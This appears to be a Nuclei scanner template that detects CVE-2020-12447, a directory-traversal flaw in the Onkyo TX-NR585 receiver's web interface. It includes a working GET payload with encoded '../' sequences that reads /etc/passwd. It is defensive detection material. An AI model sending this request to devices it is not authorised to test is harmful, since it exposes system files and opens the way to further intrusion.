id: CVE-2020-12447

info:
  name: Onkyo TX-NR585 Web Interface - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.
  impact: |
    An attacker can access sensitive files on the system, potentially leading to unauthorized access, information disclosure, or further exploitation.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the directory traversal vulnerability.
  reference:
    - https://blog.spookysec.net/onkyo-lfi
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12447
    - https://blog.spookysec.net/onkyo-lfi/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12447
    cwe-id: CWE-22
    epss-score: 0.01711
    epss-percentile: 0.8752
    cpe: cpe:2.3:o:onkyo:tx-nr585_firmware:1000-0000-000-0008-0000:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: onkyo
    product: tx-nr585_firmware
  tags: cve,cve2020,onkyo,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201277e2b84f2e4bea1632df073c21f7c4cd81ef55ccfb4727726ee7e1ec8bd340022100bb2fb5f92eadedcbe7eb1680c7ffcda497323a554395e56213ec35e70bcd65fa:922c64590222798bb761d5b6d8e72950